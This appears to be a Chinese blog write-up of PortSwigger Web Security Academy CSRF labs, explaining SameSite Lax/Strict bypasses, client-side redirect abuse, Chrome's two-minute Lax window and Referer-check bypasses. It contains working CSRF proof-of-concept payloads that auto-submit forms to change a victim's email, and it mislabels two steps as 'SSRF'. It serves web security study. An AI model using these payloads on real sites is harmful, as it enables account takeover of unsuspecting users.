当前位置: 首页 > news >正文

PostSwigger Web 安全学习:CSRF漏洞2

CSRF 漏洞学习网站:What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

CSRF 漏洞:SameSite相关绕过

当浏览器访问服务器时,服务器会在 Cookie 中添加 SameSite 属性来告诉浏览器是否在来自其他网站的请求中允许携带 Cookie。

如果发出 Cookie 的网站没有明确设置 SameSite 属性来限制来自其它网站的请求,那么浏览器自动设置 SameSite=Lax 以防止跨网站访问携带对方服务的 Cookie。

关于同源和同站点的问题,直接贴出 PostSwigger 官方解释:

请求方请求同站点?同源?
https://example.comhttps://example.com是的是的
https://app.example.comhttps://intranet.example.com是的否:域名不匹配
https://example.comhttps://example.com:8080是的否:端口不匹配
https://example.comhttps://example.co.uk否:不匹配的 eTLD否:域名不匹配
https://example.comhttp://example.com否:不匹配的方案否:不匹配的方案

SameSite 工作流程

在 SameSite 机制之前,浏览器针对每个请求都会添加对应网站的 Cookie,不管它是否是来自其他站点,这就导致了常规的 CSRF 携带 Cookie 攻击。SameSite 的工作原理是使浏览器和网站所有者能够限制哪些跨站点请求(如果有)应包含特定 Cookie。如下是 SameSite 等级:

  • Strict:只要请求属于跨站请求,就不携带 Cookie。

  • Lax:如果请求属于跨站请求,满足以下条件可以携带 Cookie:

    • 使用 Get 方式发起请求。

    • 使用顶级导航发起请求(如地址栏输入和超链接跳转)。

  • None:跨站请求携带 Cookie。

开发人员可以手动设置他们网站的 SameSite 级别,例如:

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict

实验:使用 GET 请求绕过 Lax 限制

使用顶级导航
<script>document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
POST 伪装成 GET

这是某些框架的特性,表单声明为 method="POST",但被框架覆盖为 GET 请求,服务器看作 GET 请求,而浏览器认为是 POST 请求。

<form action="https://vulnerable-website.com/account/transfer-payment" method="POST"><input type="hidden" name="_method" value="GET"><input type="hidden" name="recipient" value="hacker"><input type="hidden" name="amount" value="1000000">
</form>

payload:

让 POST 请求覆盖 GET 请求,导致浏览器按 GET 请求判断,服务器按 POST 请求处理。

<script>document.location = "https://0a62002903e24ada80554453009a009b.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>

总结:探测框架特性,看是否允许方式覆盖。

通过客户端重定向绕过 Strict

如果目标站点存在站内导航的重定向 url,那么 CSRF 将不存在跨域问题。

相当于用户二次访问同一个站点:

  • 第一次从钓鱼页面跳转到目标网站。

  • 第二次从目标网站重定向到攻击者服务器的受害页面。

  • 第三次从攻击者的服务器页面跳转到敏感页面(如:修改邮箱)。

  • 成功的原因:浏览器能追踪客户端重定向,当它根据源网站来判断需不需要携带 Cookie 时,浏览器会追踪到重定向之前的网站作为源网站。(注意:要区分跳转和重定向。)

注:以上重定向必须是客户端重定向,如果是服务端重定向,比如说服务端发送了一个 Location 的包给浏览器,浏览器能追踪到最初的请求站点,并检测到他们不是同一个站点。差别如下:

客户端重定向用户中招(通过 HTML 或 js 触发的重定向):

  1. 用户访问钓鱼页面。

  2. 用户跳转到受害者网站。(当受害者网站触发重定向时,浏览器仍将受害者网站作为源网站来判断是否跨域)

  3. 从受害者网站重定向攻击者页面(如修改邮箱)。

  4. 攻击者页面向受害者网站发送敏感请求。

服务端重定向利用失败(通过 HTTP 进行的重定向):

  1. 用户访问钓鱼页面。

  2. 钓鱼页面触发服务端重定向(假设存在)。

  3. 服务器返回 Location 包。

  4. 浏览器解析 Location 包,并从钓鱼页面跳转过去。(将钓鱼页面记作源网站,不携带 Cookie)

实验:通过客户端重定向绕过 Strict

当你在某一文章下发表完评论后,会跳转到文章页面:

redirectOnConfirmation = (blogPath) => {setTimeout(() => {const url = new URL(window.location);const postId = url.searchParams.get("postId");window.location = blogPath + '/' + postId;}, 3000);
}

访问:https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=8
重定向后的 url =  blogPath + '/' + postId
其中:
blogpath = https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post
postId = 8
重定向后的 url = https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/8
​
如果篡改 postId = ../my-account,访问如下url:
https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=../my-account
​
会跳转到登录页面:

payload:

<script>document.location = "https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=wiener%40pwned.net%26submit=1";
</script>

注:要 URL 编码 & 分隔符,防止一开始就被解析。

实验:使用新发布的 Cookie 绕过 SameSite Lax 限制

绕过场景:服务器没有设置 Cookie 的 SameSite 属性,导致默认 Lax。

Chrome 为了避免破坏单点登录(SSO)机制,不会在前 120 秒内对顶级请求实施这些限制。

攻击者需要让用户重新生成 Cookie,以获取这 2 分钟的窗口期进行攻击。

使用如下 poc 放在攻击者服务器上:

<script>history.pushState('', '', '/')
</script>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="foo@bar.com" /><input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit();
</script>

当你在登录后的 2 分钟之内访问它,发现 poc 能成功生效,如下图修改邮箱成功。

如果用户登录超过两分钟,那么诱使用户访问其他页面重新获取 Cookie 后,再访问敏感操作页面(如修改邮箱)。

<form method="POST" action="https://0a9e00760433327180ac357700ea0078.web-security-academy.net/my-account/change-email"><input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>window.open('https://0a9e00760433327180ac357700ea0078.web-security-academy.net/social-login');setTimeout(changeEmail, 5000);
​function changeEmail(){document.forms[0].submit();}
</script>

触发目标网站的 OAuth 登录流程:

  1. 用户已登录目标网站,但 SSO 提供商会重新颁发会话(例如,OAuth 流程每次生成新会话)。

  2. 第一次 SSRF:攻击者诱导用户重新完成 OAuth 登录,生成新 Cookie。(window.open 新标签不受 Lax 限制)

  3. 第二次 SSRF:新 Cookie 进入 2 分钟窗口期,此时可绕过 Lax 限制。

重点,攻击者能通过 CSRF 让用户重新获取 Session。

基于 Referer 的 CSRF 防御

Referer 用于服务器获取请求页面的来源页面的 URL,如果服务器发现 Referer 头不合法,那么判定用户正在遭受钓鱼攻击。

常规的检测手法,检测 Referer 头是否是本域。

绕过手段:

  • 宽松的 Referer 验证逻辑:攻击者控制 attacker.com/example.com,此时 Referer 为 attacker.com/example.com。

  • Referer 标头的删除导致服务器不验证来源。

实验:Referer 标头的删除导致服务器不验证来源

payload:

<html><!-- CSRF PoC - generated by Burp Suite Professional --><!-- 包含以下 HTML 以禁止 referrer --><meta name="referrer" content="no-referrer"><body><form action="https://0aa0007c0387e677806e032d00d8004d.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="wiener&#64;pwned&#45;user&#46;net" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>

实验:宽松的 Referer 验证逻辑

那就在 HTML 钓鱼页面加上:

  <meta name="referrer" content="unsafe-url">       <!-- 防止添加的东西被过滤 --><!-- history.pushState 用于在浏览器历史记录中添加一条新的记录,同时改变当前的 URL,但不会触发页面的刷新。-->history.pushState("", "", "/?0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net")<!-- 更新历史 url,添加上这个参数 -->

完整 payload:

<html><!-- CSRF PoC - generated by Burp Suite Professional --><meta name="referrer" content="unsafe-url"><body><form action="https://0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="wiener&#64;pwned&#45;user&#46;net" /><input type="submit" value="Submit request" /></form><script>history.pushState("", "", "/?0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net")document.forms[0].submit();</script></body>
</html>
http://www.xdnf.cn/news/171415.html

相关文章:

  • 现代多核调度器的本质 调度三重奏
  • Github 热点项目 rowboat 一句话生成多AI智能体!5分钟搭建企业级智能工作流系统
  • 在 Cursor 中 配置 GitHub MCP Server
  • 基于ArcGIS的洪水灾害普查、风险评估及淹没制图技术研究​
  • docker(3) -- 图形界面
  • ReACT Agent 实战
  • 面试:结构体默认是对齐的嘛?如何禁止对齐?
  • 遥控器信号传输与信号灯指示要点!
  • 解决新搭建的centos虚拟器,yum下载不了的问题
  • 【音视频】SDL窗口显示
  • DIFY教程第一集:安装Dify配置环境
  • 广度优先搜索(BFS)算法详解
  • 23种设计模式-行为型模式之命令模式(Java版本)
  • 鸿蒙系统应用开发全栈指南
  • HarmonyOS Next~鸿蒙系统流畅性技术解析:预加载与原生架构的协同进化
  • 神经编译革命:如何用脑机接口直接编程量子计算机?
  • 用Function Calling让GPT查询数据库(含示例)
  • 【Git】初始Git及入门命令行
  • 03.使用spring-ai玩转MCP
  • IdeaVim 配置与使用指南
  • 【Part 2安卓原生360°VR播放器开发实战】第二节|基于等距圆柱投影方式实现全景视频渲染
  • 位置差在坐标系间的相互转换
  • C++类和对象(上)
  • Spark SQL开发实战:从IDEA环境搭建到UDF/UDAF自定义函数实现
  • 《TVM模式匹配实战:从DFPatternNode到DFPattern的高级用法》
  • OceanBase数据库-学习笔记2-C#/C++程序如何访问
  • C++如何使用调试器(如GDB、LLDB)进行程序调试保姆级教程(2万字长文)
  • 使用 Autofac 实现依赖注入
  • 嵌入式软件--stm32 DAY 4 中断系统
  • Linux日志处理命令多管道实战应用